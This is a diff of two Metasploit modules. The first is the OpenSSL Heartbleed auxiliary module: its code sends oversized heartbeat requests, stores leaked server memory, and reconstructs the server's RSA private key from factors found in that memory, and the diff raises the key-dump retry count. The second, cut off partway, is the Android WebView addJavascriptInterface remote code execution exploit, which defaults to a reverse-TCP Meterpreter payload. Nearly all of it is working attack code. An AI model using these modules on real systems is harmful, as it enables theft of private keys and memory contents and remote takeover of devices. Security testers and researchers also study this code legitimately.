0x00ff # Unknown
|
||||
]
|
||||
|
||||
HANDSHAKE_RECORD_TYPE = 0x16
|
||||
HEARTBEAT_RECORD_TYPE = 0x18
|
||||
ALERT_RECORD_TYPE = 0x15
|
||||
HANDSHAKE_RECORD_TYPE = 0x16
|
||||
HEARTBEAT_RECORD_TYPE = 0x18
|
||||
ALERT_RECORD_TYPE = 0x15
|
||||
HANDSHAKE_SERVER_HELLO_TYPE = 0x02
|
||||
HANDSHAKE_CERTIFICATE_TYPE = 0x0b
|
||||
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
|
||||
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
|
||||
|
||||
|
||||
TLS_VERSION = {
|
||||
'SSLv3' => 0x0300,
|
||||
'1.0' => 0x0301,
|
||||
|
@ -141,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
Opt::RPORT(443),
|
||||
OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]),
|
||||
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
|
||||
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
|
||||
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]),
|
||||
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
|
||||
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]),
|
||||
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
|
||||
|
@ -150,11 +162,20 @@ class Metasploit3 < Msf::Auxiliary
|
|||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]),
|
||||
OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ])
|
||||
OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
#
|
||||
# Main methods
|
||||
#
|
||||
|
||||
# Called when using check
|
||||
def check_host(ip)
|
||||
@check_only = true
|
||||
vprint_status "#{peer} - Checking for Heartbleed exposure"
|
||||
|
@ -165,20 +186,48 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
# Main method
|
||||
def run
|
||||
if heartbeat_length > 65535 || heartbeat_length < 0
|
||||
print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
|
||||
print_error('HEARTBEAT_LENGTH should be a natural number less than 65536')
|
||||
return
|
||||
end
|
||||
|
||||
if response_timeout < 0
|
||||
print_error("RESPONSE_TIMEOUT should be bigger than 0")
|
||||
print_error('RESPONSE_TIMEOUT should be bigger than 0')
|
||||
return
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
# Main method
|
||||
def run_host(ip)
|
||||
# initial connect to get public key and stuff
|
||||
connect_result = establish_connect
|
||||
disconnect
|
||||
return if connect_result.nil?
|
||||
|
||||
case action.name
|
||||
when 'SCAN'
|
||||
loot_and_report(bleed)
|
||||
when 'DUMP'
|
||||
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
|
||||
when 'KEYS'
|
||||
getkeys
|
||||
else
|
||||
#Shouldn't get here, since Action is Enum
|
||||
print_error("Unknown Action: #{action.name}")
|
||||
end
|
||||
|
||||
# ensure all connections are closed
|
||||
disconnect
|
||||
end
|
||||
|
||||
#
|
||||
# DATASTORE values
|
||||
#
|
||||
|
||||
# If this is merely a check, set to the RFC-defined
|
||||
# maximum padding length of 2^14. See:
|
||||
# https://tools.ietf.org/html/rfc6520#section-4
|
||||
|
@ -187,53 +236,77 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if @check_only
|
||||
SAFE_CHECK_MAX_RECORD_LENGTH
|
||||
else
|
||||
datastore["HEARTBEAT_LENGTH"]
|
||||
datastore['HEARTBEAT_LENGTH']
|
||||
end
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def response_timeout
|
||||
datastore['RESPONSE_TIMEOUT']
|
||||
end
|
||||
|
||||
def tls_version
|
||||
datastore['TLS_VERSION']
|
||||
end
|
||||
|
||||
def dumpfilter
|
||||
datastore['DUMPFILTER']
|
||||
end
|
||||
|
||||
def max_keytries
|
||||
datastore['MAX_KEYTRIES']
|
||||
end
|
||||
|
||||
def xmpp_domain
|
||||
datastore['XMPPDOMAIN']
|
||||
end
|
||||
|
||||
def status_every
|
||||
datastore['STATUS_EVERY']
|
||||
end
|
||||
|
||||
def tls_callback
|
||||
datastore['TLS_CALLBACK']
|
||||
end
|
||||
|
||||
#
|
||||
# TLS Callbacks
|
||||
#
|
||||
|
||||
def tls_smtp
|
||||
# https://tools.ietf.org/html/rfc3207
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
|
||||
unless res && res =~ /STARTTLS/
|
||||
return nil
|
||||
end
|
||||
sock.put("STARTTLS\r\n")
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
end
|
||||
|
||||
def tls_imap
|
||||
# http://tools.ietf.org/html/rfc2595
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
sock.put("a001 CAPABILITY\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
unless res && res =~ /STARTTLS/i
|
||||
return nil
|
||||
end
|
||||
sock.put("a002 STARTTLS\r\n")
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
end
|
||||
|
||||
def tls_postgres
|
||||
# postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3
|
||||
# http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html
|
||||
sock.get_once
|
||||
get_data
|
||||
# the postgres SSLRequest packet is a int32(8) followed by a int16(1234),
|
||||
# int16(5679) in network format
|
||||
psql_sslrequest = [8].pack('N')
|
||||
psql_sslrequest << [1234, 5679].pack('n*')
|
||||
sock.put(psql_sslrequest)
|
||||
res = sock.get_once
|
||||
res = get_data
|
||||
unless res && res =~ /S/
|
||||
return nil
|
||||
end
|
||||
|
@ -242,14 +315,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def tls_pop3
|
||||
# http://tools.ietf.org/html/rfc2595
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
sock.put("CAPA\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
if res.nil? || res =~ /^-/ || res !~ /STLS/
|
||||
return nil
|
||||
end
|
||||
sock.put("STLS\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
if res.nil? || res =~ /^-/
|
||||
return nil
|
||||
end
|
||||
|
@ -265,13 +338,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def tls_jabber
|
||||
sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
|
||||
sock.put(jabber_connect_msg(xmpp_domain))
|
||||
res = sock.get(response_timeout)
|
||||
if res && res.include?('host-unknown')
|
||||
jabber_host = res.match(/ from='([\w.]*)' /)
|
||||
if jabber_host && jabber_host[1]
|
||||
disconnect
|
||||
connect
|
||||
establish_connect
|
||||
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
|
||||
sock.put(jabber_connect_msg(jabber_host[1]))
|
||||
res = sock.get(response_timeout)
|
||||
|
@ -293,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
res = sock.get(response_timeout)
|
||||
return nil if res.nil?
|
||||
sock.put("AUTH TLS\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
return nil if res.nil?
|
||||
if res !~ /^234/
|
||||
# res contains the error message
|
||||
|
@ -303,31 +376,83 @@ class Metasploit3 < Msf::Auxiliary
|
|||
res
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
case action.name
|
||||
when 'SCAN'
|
||||
loot_and_report(bleed)
|
||||
when 'DUMP'
|
||||
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
|
||||
when 'KEYS'
|
||||
getkeys()
|
||||
else
|
||||
#Shouldn't get here, since Action is Enum
|
||||
print_error("Unknown Action: #{action.name}")
|
||||
return
|
||||
#
|
||||
# Helper Methods
|
||||
#
|
||||
|
||||
# Get data from the socket
|
||||
# this ensures the requested length is read (if available)
|
||||
def get_data(length = -1)
|
||||
|
||||
return sock.get_once(-1, response_timeout) if length == -1
|
||||
|
||||
to_receive = length
|
||||
data = ''
|
||||
while to_receive > 0
|
||||
temp = sock.get_once(to_receive, response_timeout)
|
||||
break if temp.nil?
|
||||
|
||||
data << temp
|
||||
to_receive -= temp.length
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
def to_hex_string(data)
|
||||
data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip
|
||||
end
|
||||
|
||||
# establishes a connect and parses the server response
|
||||
def establish_connect
|
||||
connect
|
||||
|
||||
unless tls_callback == 'None'
|
||||
vprint_status("#{peer} - Trying to start SSL via #{tls_callback}")
|
||||
res = self.send(TLS_CALLBACKS[tls_callback])
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - STARTTLS failed...")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
|
||||
server_hello = sock.get(response_timeout)
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
return nil
|
||||
end
|
||||
|
||||
server_resp_parsed = parse_ssl_record(server_hello)
|
||||
|
||||
if server_resp_parsed.nil?
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
return nil
|
||||
end
|
||||
|
||||
server_resp_parsed
|
||||
end
|
||||
|
||||
# Generates a heartbeat request
|
||||
def heartbeat_request(length)
|
||||
payload = "\x01" # Heartbeat Message Type: Request (1)
|
||||
payload << [length].pack('n') # Payload Length: 65535
|
||||
|
||||
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
|
||||
end
|
||||
|
||||
# Generates, sends and receives a heartbeat message
|
||||
def bleed
|
||||
# This actually performs the heartbleed portion
|
||||
connect_result = establish_connect
|
||||
return if connect_result.nil?
|
||||
|
||||
vprint_status("#{peer} - Sending Heartbeat...")
|
||||
sock.put(heartbeat(heartbeat_length))
|
||||
hdr = sock.get_once(5, response_timeout)
|
||||
if hdr.blank?
|
||||
sock.put(heartbeat_request(heartbeat_length))
|
||||
hdr = get_data(5)
|
||||
if hdr.nil? || hdr.empty?
|
||||
vprint_error("#{peer} - No Heartbeat response...")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -338,33 +463,36 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# try to get the TLS error
|
||||
if type == ALERT_RECORD_TYPE
|
||||
res = sock.get_once(len, response_timeout)
|
||||
res = get_data(len)
|
||||
alert_unp = res.unpack('CC')
|
||||
alert_level = alert_unp[0]
|
||||
alert_desc = alert_unp[1]
|
||||
msg = "Unknown error"
|
||||
|
||||
# http://tools.ietf.org/html/rfc5246#section-7.2
|
||||
case alert_desc
|
||||
when 0x46
|
||||
msg = "Protocol error. Looks like the chosen protocol is not supported."
|
||||
msg = 'Protocol error. Looks like the chosen protocol is not supported.'
|
||||
else
|
||||
msg = 'Unknown error'
|
||||
end
|
||||
vprint_error("#{peer} - #{msg}")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']]
|
||||
vprint_error("#{peer} - Unexpected Heartbeat response")
|
||||
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version]
|
||||
vprint_error("#{peer} - Unexpected Heartbeat response header (#{to_hex_string(hdr)})")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
heartbeat_data = sock.get(heartbeat_length) # Read the magic length...
|
||||
heartbeat_data = get_data(heartbeat_length)
|
||||
vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes")
|
||||
disconnect
|
||||
heartbeat_data
|
||||
end
|
||||
|
||||
# Stores received data
|
||||
def loot_and_report(heartbeat_data)
|
||||
|
||||
unless heartbeat_data
|
||||
|
@ -382,19 +510,19 @@ class Metasploit3 < Msf::Auxiliary
|
|||
})
|
||||
|
||||
if action.name == 'DUMP' # Check mode, dump if requested.
|
||||
pattern = datastore['DUMPFILTER']
|
||||
pattern = dumpfilter
|
||||
if pattern
|
||||
match_data = heartbeat_data.scan(pattern).join
|
||||
else
|
||||
match_data = heartbeat_data
|
||||
end
|
||||
path = store_loot(
|
||||
"openssl.heartbleed.server",
|
||||
"application/octet-stream",
|
||||
'openssl.heartbleed.server',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
match_data,
|
||||
nil,
|
||||
"OpenSSL Heartbleed server memory"
|
||||
'OpenSSL Heartbleed server memory'
|
||||
)
|
||||
print_status("#{peer} - Heartbeat data stored in #{path}")
|
||||
end
|
||||
|
@ -403,12 +531,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def getkeys()
|
||||
unless datastore['TLS_CALLBACK'] == 'None'
|
||||
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
|
||||
return
|
||||
end
|
||||
#
|
||||
# Keydumoing helper methods
|
||||
#
|
||||
|
||||
# Tries to retreive the private key
|
||||
def getkeys
|
||||
print_status("#{peer} - Scanning for private keys")
|
||||
count = 0
|
||||
|
||||
|
@ -423,13 +551,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
vprint_status("#{peer} - e: #{e}")
|
||||
print_status("#{peer} - #{Time.now.getutc} - Starting.")
|
||||
|
||||
datastore['MAX_KEYTRIES'].times {
|
||||
max_keytries.times {
|
||||
# Loop up to MAX_KEYTRIES times, looking for keys
|
||||
if count % datastore['STATUS_EVERY'] == 0
|
||||
if count % status_every == 0
|
||||
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
|
||||
end
|
||||
|
||||
p, q = get_factors(bleed, n) # Try to find factors in mem
|
||||
bleedresult = bleed
|
||||
return unless bleedresult
|
||||
|
||||
p, q = get_factors(bleedresult, n) # Try to find factors in mem
|
||||
|
||||
unless p.nil? || q.nil?
|
||||
key = key_from_pqe(p, q, e)
|
||||
|
@ -437,75 +568,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
print_status(key.export)
|
||||
path = store_loot(
|
||||
"openssl.heartbleed.server",
|
||||
"text/plain",
|
||||
'openssl.heartbleed.server',
|
||||
'text/plain',
|
||||
rhost,
|
||||
key.export,
|
||||
nil,
|
||||
"OpenSSL Heartbleed Private Key"
|
||||
'OpenSSL Heartbleed Private Key'
|
||||
)
|
||||
print_status("#{peer} - Private key stored in #{path}")
|
||||
return
|
||||
end
|
||||
count += 1
|
||||
}
|
||||
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
|
||||
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.")
|
||||
end
|
||||
|
||||
def heartbeat(length)
|
||||
payload = "\x01" # Heartbeat Message Type: Request (1)
|
||||
payload << [length].pack("n") # Payload Length: 65535
|
||||
|
||||
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
|
||||
end
|
||||
|
||||
def client_hello
|
||||
# Use current day for TLS time
|
||||
time_temp = Time.now
|
||||
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
|
||||
|
||||
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
|
||||
hello_data << [time_epoch].pack("N") # Time in epoch format
|
||||
hello_data << Rex::Text.rand_text(28) # Random
|
||||
hello_data << "\x00" # Session ID length
|
||||
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
|
||||
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
|
||||
hello_data << "\x01" # Compression methods length (1)
|
||||
hello_data << "\x00" # Compression methods: null
|
||||
|
||||
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
|
||||
hello_data_extensions << "\x00\x01" # Extension length
|
||||
hello_data_extensions << "\x01" # Extension data
|
||||
|
||||
hello_data << [hello_data_extensions.length].pack("n")
|
||||
hello_data << hello_data_extensions
|
||||
|
||||
data = "\x01\x00" # Handshake Type: Client Hello (1)
|
||||
data << [hello_data.length].pack("n") # Length
|
||||
data << hello_data
|
||||
|
||||
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
||||
end
|
||||
|
||||
def ssl_record(type, data)
|
||||
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
|
||||
record << data
|
||||
end
|
||||
|
||||
def get_ne()
|
||||
# Fetch rhost's cert, return public key values
|
||||
connect(true, {"SSL" => true}) #Force SSL
|
||||
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
|
||||
disconnect
|
||||
|
||||
unless cert
|
||||
# Returns the N and E params from the public server certificate
|
||||
def get_ne
|
||||
unless @cert
|
||||
print_error("#{peer} - No certificate found")
|
||||
return
|
||||
end
|
||||
|
||||
return cert.public_key.params["n"], cert.public_key.params["e"]
|
||||
return @cert.public_key.params['n'], @cert.public_key.params['e']
|
||||
end
|
||||
|
||||
# Tries to find pieces of the private key in the provided data
|
||||
def get_factors(data, n)
|
||||
# Walk through data looking for factors of n
|
||||
psize = n.num_bits / 8 / 2
|
||||
|
@ -523,40 +611,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return p, q
|
||||
end
|
||||
end
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
end
|
||||
|
||||
def establish_connect
|
||||
connect
|
||||
|
||||
unless datastore['TLS_CALLBACK'] == 'None'
|
||||
vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACK']}")
|
||||
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']])
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - STARTTLS failed...")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
|
||||
server_hello = sock.get(response_timeout)
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Generates the private key from the P, Q and E values
|
||||
def key_from_pqe(p, q, e)
|
||||
# Returns an RSA Private Key from Factors
|
||||
key = OpenSSL::PKey::RSA.new()
|
||||
|
@ -577,5 +636,170 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return key
|
||||
end
|
||||
|
||||
end
|
||||
#
|
||||
# SSL/TLS packet methods
|
||||
#
|
||||
|
||||
# Creates and returns a new SSL record with the provided data
|
||||
def ssl_record(type, data)
|
||||
record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn')
|
||||
record << data
|
||||
end
|
||||
|
||||
# generates a CLIENT_HELLO ssl/tls packet
|
||||
def client_hello
|
||||
# Use current day for TLS time
|
||||
time_temp = Time.now
|
||||
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
|
||||
|
||||
hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS
|
||||
hello_data << [time_epoch].pack('N') # Time in epoch format
|
||||
hello_data << Rex::Text.rand_text(28) # Random
|
||||
hello_data << "\x00" # Session ID length
|
||||
hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102)
|
||||
hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites
|
||||
hello_data << "\x01" # Compression methods length (1)
|
||||
hello_data << "\x00" # Compression methods: null
|
||||
|
||||
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
|
||||
hello_data_extensions << "\x00\x01" # Extension length
|
||||
hello_data_extensions << "\x01" # Extension data
|
||||
|
||||
hello_data << [hello_data_extensions.length].pack('n')
|
||||
hello_data << hello_data_extensions
|
||||
|
||||
data = "\x01\x00" # Handshake Type: Client Hello (1)
|
||||
data << [hello_data.length].pack('n') # Length
|
||||
data << hello_data
|
||||
|
||||
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
||||
end
|
||||
|
||||
# Parse SSL header
|
||||
def parse_ssl_record(data)
|
||||
ssl_records = []
|
||||
remaining_data = data
|
||||
ssl_record_counter = 0
|
||||
while remaining_data && remaining_data.length > 0
|
||||
ssl_record_counter += 1
|
||||
ssl_unpacked = remaining_data.unpack('CH4n')
|
||||
return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3
|
||||
ssl_type = ssl_unpacked[0]
|
||||
ssl_version = ssl_unpacked[1]
|
||||
ssl_len = ssl_unpacked[2]
|
||||
vprint_debug("SSL record ##{ssl_record_counter}:")
|
||||
vprint_debug("\tType: #{ssl_type}")
|
||||
vprint_debug("\tVersion: 0x#{ssl_version}")
|
||||
vprint_debug("\tLength: #{ssl_len}")
|
||||
if ssl_type != HANDSHAKE_RECORD_TYPE
|
||||
vprint_debug("\tWrong Record Type! (#{ssl_type})")
|
||||
else
|
||||
ssl_data = remaining_data[5, ssl_len]
|
||||
handshakes = parse_handshakes(ssl_data)
|
||||
ssl_records << {
|
||||
:type => ssl_type,
|
||||
:version => ssl_version,
|
||||
:length => ssl_len,
|
||||
:data => handshakes
|
||||
}
|
||||
end
|
||||
remaining_data = remaining_data[(ssl_len + 5)..-1]
|
||||
end
|
||||
|
||||
ssl_records
|
||||
end
|
||||
|
||||
# Parse Handshake data returned from servers
|
||||
def parse_handshakes(data)
|
||||
# Can contain multiple handshakes
|
||||
remaining_data = data
|
||||
handshakes = []
|
||||
handshake_count = 0
|
||||
while remaining_data && remaining_data.length > 0
|
||||
hs_unpacked = remaining_data.unpack('CCn')
|
||||
next if hs_unpacked.nil? or hs_unpacked.length < 3
|
||||
hs_type = hs_unpacked[0]
|
||||
hs_len_pad = hs_unpacked[1]
|
||||
hs_len = hs_unpacked[2]
|
||||
hs_data = remaining_data[4, hs_len]
|
||||
handshake_count += 1
|
||||
vprint_debug("\tHandshake ##{handshake_count}:")
|
||||
vprint_debug("\t\tLength: #{hs_len}")
|
||||
|
||||
handshake_parsed = nil
|
||||
case hs_type
|
||||
when HANDSHAKE_SERVER_HELLO_TYPE
|
||||
vprint_debug("\t\tType: Server Hello (#{hs_type})")
|
||||
handshake_parsed = parse_server_hello(hs_data)
|
||||
when HANDSHAKE_CERTIFICATE_TYPE
|
||||
vprint_debug("\t\tType: Certificate Data (#{hs_type})")
|
||||
handshake_parsed = parse_certificate_data(hs_data)
|
||||
when HANDSHAKE_KEY_EXCHANGE_TYPE
|
||||
vprint_debug("\t\tType: Server Key Exchange (#{hs_type})")
|
||||
# handshake_parsed = parse_server_key_exchange(hs_data)
|
||||
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
|
||||
vprint_debug("\t\tType: Server Hello Done (#{hs_type})")
|
||||
else
|
||||
vprint_debug("\t\tType: Handshake type #{hs_type} not implemented")
|
||||
end
|
||||
|
||||
handshakes << {
|
||||
:type => hs_type,
|
||||
:len => hs_len,
|
||||
:data => handshake_parsed
|
||||
}
|
||||
remaining_data = remaining_data[(hs_len + 4)..-1]
|
||||
end
|
||||
|
||||
handshakes
|
||||
end
|
||||
|
||||
# Parse Server Hello message
|
||||
def parse_server_hello(data)
|
||||
version = data.unpack('H4')[0]
|
||||
vprint_debug("\t\tServer Hello Version: 0x#{version}")
|
||||
random = data[2,32].unpack('H*')[0]
|
||||
vprint_debug("\t\tServer Hello random data: #{random}")
|
||||
session_id_length = data[34,1].unpack('C')[0]
|
||||
vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}")
|
||||
session_id = data[35,session_id_length].unpack('H*')[0]
|
||||
vprint_debug("\t\tServer Hello Session ID: #{session_id}")
|
||||
# TODO Read the rest of the server hello (respect message length)
|
||||
|
||||
# TODO: return hash with data
|
||||
true
|
||||
end
|
||||
|
||||
# Parse certificate data
|
||||
def parse_certificate_data(data)
|
||||
# get certificate data length
|
||||
unpacked = data.unpack('Cn')
|
||||
cert_len_padding = unpacked[0]
|
||||
cert_len = unpacked[1]
|
||||
vprint_debug("\t\tCertificates length: #{cert_len}")
|
||||
# contains multiple certs
|
||||
already_read = 3
|
||||
cert_counter = 0
|
||||
while already_read < cert_len
|
||||
start = already_read
|
||||
cert_counter += 1
|
||||
# get single certificate length
|
||||
single_cert_unpacked = data[start, 3].unpack('Cn')
|
||||
single_cert_len_padding = single_cert_unpacked[0]
|
||||
single_cert_len = single_cert_unpacked[1]
|
||||
vprint_debug("\t\tCertificate ##{cert_counter}:")
|
||||
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
|
||||
certificate_data = data[(start + 3), single_cert_len]
|
||||
cert = OpenSSL::X509::Certificate.new(certificate_data)
|
||||
# First received certificate is the one from the server
|
||||
@cert = cert if @cert.nil?
|
||||
#vprint_debug("Got certificate: #{cert.to_text}")
|
||||
vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
|
||||
already_read = already_read + single_cert_len + 3
|
||||
end
|
||||
|
||||
# TODO: return hash with data
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,15 +4,16 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/android'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
include Msf::Exploit::Android
|
||||
|
||||
autopwn_info({
|
||||
:os_flavor => "Android",
|
||||
:arch => ARCH_ARMLE,
|
||||
autopwn_info(
|
||||
:os_flavor => 'Android',
|
||||
:javascript => true,
|
||||
:rank => ExcellentRanking,
|
||||
:vuln_test => %Q|
|
||||
|
@ -23,12 +24,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
} catch(e) {}
|
||||
}
|
||||
|
|
||||
})
|
||||
)
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
|
||||
'Description' => %q{
|
||||
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a privilege escalation issue in Android < 4.2's WebView component
|
||||
that arises when untrusted Javascript code is executed by a WebView that has one or more
|
||||
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
|
||||
|
@ -46,75 +47,107 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'jduck', # original msf module
|
||||
'joev' # static server
|
||||
],
|
||||
'References' => [
|
||||
'References' => [
|
||||
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
|
||||
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
|
||||
['URL', 'http://50.56.33.56/blog/?p=314'],
|
||||
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
|
||||
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
|
||||
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
|
||||
['CVE', '2012-6636'], # original CVE for addJavascriptInterface
|
||||
['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
|
||||
['EDB', '31519'],
|
||||
['OSVDB', '97520']
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'DefaultOptions' => { 'PrependFork' => true },
|
||||
'Targets' => [ [ 'Automatic', {} ] ],
|
||||
'DisclosureDate' => 'Dec 21 2012',
|
||||
'DefaultTarget' => 0,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
|
||||
'Targets' => [ [ 'Automatic', {} ] ],
|
||||
'DisclosureDate' => 'Dec 21 2012',
|
||||
'DefaultTarget' => 0,
|
||||
'BrowserRequirements' => {
|
||||
:source => 'script',
|
||||
:os_flavor => "Android",
|
||||
:arch => ARCH_ARMLE
|
||||
:source => 'script',
|
||||
:os_flavor => 'Android'
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
|
||||
# on requests for the static javascript file
|
||||
def on_request_uri(cli, req)
|
||||
if req.uri.end_with?('js')
|
||||
print_status("Serving javascript")
|
